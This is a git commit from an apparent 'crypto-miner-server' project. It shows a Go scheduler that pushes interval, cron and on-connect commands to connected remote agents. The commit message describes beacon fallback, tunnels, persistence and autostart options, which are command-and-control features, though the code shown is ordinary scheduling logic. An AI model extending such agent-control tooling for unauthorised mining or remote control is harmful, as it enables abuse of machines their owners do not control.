feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
AetherForge
2026-06-04 09:34:33 -07:00
parent d52479c9a6
commit 5fc601b564
111 changed files with 5845 additions and 116 deletions

View File

@@ -0,0 +1,142 @@
package scheduler
import (
"log"
"strings"
"sync"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
// CommandSender pushes a remote command to a connected agent.
type CommandSender interface {
SendAgentCommand(agentID, action string, args map[string]interface{}) error
ConnectedAgentIDs() []string
}
// FleetScheduler runs interval and cron fleet tasks against connected agents.
type FleetScheduler struct {
db *db.Database
send CommandSender
stop chan struct{}
wg sync.WaitGroup
cronMu sync.Mutex
lastCronRuns map[string]string // taskID -> "2006-01-02 15:04"
}
func New(db *db.Database, send CommandSender) *FleetScheduler {
return &FleetScheduler{
db: db,
send: send,
stop: make(chan struct{}),
lastCronRuns: make(map[string]string),
}
}
func (s *FleetScheduler) Start() {
s.wg.Add(1)
go s.loop()
}
func (s *FleetScheduler) Stop() {
close(s.stop)
s.wg.Wait()
}
func (s *FleetScheduler) loop() {
defer s.wg.Done()
ticker := time.NewTicker(1 * time.Minute)
defer ticker.Stop()
for {
select {
case <-s.stop:
return
case <-ticker.C:
s.tickInterval()
s.tickCron()
}
}
}
// RunConnectTasks executes tasks matching on_connect or on_reconnect for one agent.
func (s *FleetScheduler) RunConnectTasks(agentID string, trigger string) {
tasks, err := s.db.ListFleetTasks()
if err != nil {
log.Printf("[scheduler] list tasks: %v", err)
return
}
for _, t := range tasks {
if !t.Enabled || t.Trigger != trigger {
continue
}
s.dispatchTask(agentID, t)
}
}
func (s *FleetScheduler) tickInterval() {
tasks, err := s.db.ListFleetTasks()
if err != nil {
return
}
agentIDs := s.send.ConnectedAgentIDs()
for _, t := range tasks {
if !t.Enabled || t.Trigger != "interval_hours" || t.IntervalHours <= 0 {
continue
}
interval := time.Duration(t.IntervalHours * float64(time.Hour))
for _, agentID := range agentIDs {
last, ok := s.db.LastFleetTaskRun(agentID, t.ID)
if ok && time.Since(last) < interval {
continue
}
s.dispatchTask(agentID, t)
}
}
}
func (s *FleetScheduler) tickCron() {
now := time.Now()
slot := now.Format("15:04")
daySlot := now.Format("2006-01-02") + " " + slot
tasks, err := s.db.ListFleetTasks()
if err != nil {
return
}
agentIDs := s.send.ConnectedAgentIDs()
for _, t := range tasks {
if !t.Enabled || t.Trigger != "cron" || strings.TrimSpace(t.CronTime) == "" {
continue
}
cronTime := strings.TrimSpace(t.CronTime)
if cronTime != slot {
continue
}
s.cronMu.Lock()
if s.lastCronRuns[t.ID] == daySlot {
s.cronMu.Unlock()
continue
}
s.lastCronRuns[t.ID] = daySlot
s.cronMu.Unlock()
for _, agentID := range agentIDs {
s.dispatchTask(agentID, t)
}
}
}
func (s *FleetScheduler) dispatchTask(agentID string, t *models.FleetTask) {
args := map[string]interface{}{}
if t.Command != "" {
args["command"] = t.Command
}
if err := s.send.SendAgentCommand(agentID, t.Action, args); err != nil {
log.Printf("[scheduler] task %s → %s: %v", t.Name, agentID, err)
return
}
_ = s.db.RecordFleetTaskRun(agentID, t.ID)
log.Printf("[scheduler] dispatched task %q (%s) → agent %s", t.Name, t.Action, agentID)
}